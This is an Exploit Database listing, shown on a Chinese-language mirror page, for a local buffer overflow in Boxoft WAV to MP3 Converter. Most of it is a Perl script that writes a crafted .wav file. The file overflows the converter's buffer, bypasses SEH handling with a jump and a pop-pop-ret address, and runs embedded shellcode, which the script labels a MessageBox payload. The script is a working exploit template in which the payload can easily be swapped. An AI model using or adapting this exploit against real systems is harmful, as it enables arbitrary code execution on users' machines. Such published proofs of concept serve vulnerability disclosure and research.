Boxoft WAV to MP3 Converter – ‘convert’ Local Buffer Overflow

• Exploit Database
• 110 阅读

• 作者： Robbie Corley
  日期： 2015-08-31
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/38035/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42

  #Exploit Title: Boxoft wav to mp3 converter SEH bypass technique tested on Win7x64 # Date: 8-31-2015 # Software Link: http://www.boxoft.com/wav-to-mp3/ # Exploit Author: Robbie Corley # Contact: c0d3rc0rl3y@gmail.com # Website: # Target: Windows 7 Enterprise x64 # CVE: # Category: Local Exploit # # Description: # A buffer overflow was found after constructing a .wav payload over 4000 characters and attempting to convert the payload to a .mp3 file   my $buff = "\x41" x 4132; #my $nseh = "\x42" x 4; #my $seh = "\x43" x 4; my $endofbuff = "\x41" x 5860;     $nseh = "\xeb\x06\x90\x90";# jump to shellcode $seh = pack('V',0x0040144c); # pop pop retn   #MessageBox Shellc0de #https://www.exploit-db.com/exploits/28996/   my $shellcode = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42". "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03". "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b". "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e". "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c". "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74". "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe". "\x49\x0b\x31\xc0\x51\x50\xff\xd7";   #$nops = "\x90" x 20;   open(myfile,'>crash3r.wav');   print myfile $buff.$nseh.$seh.$shellcode.$endofbuff; close (myfile);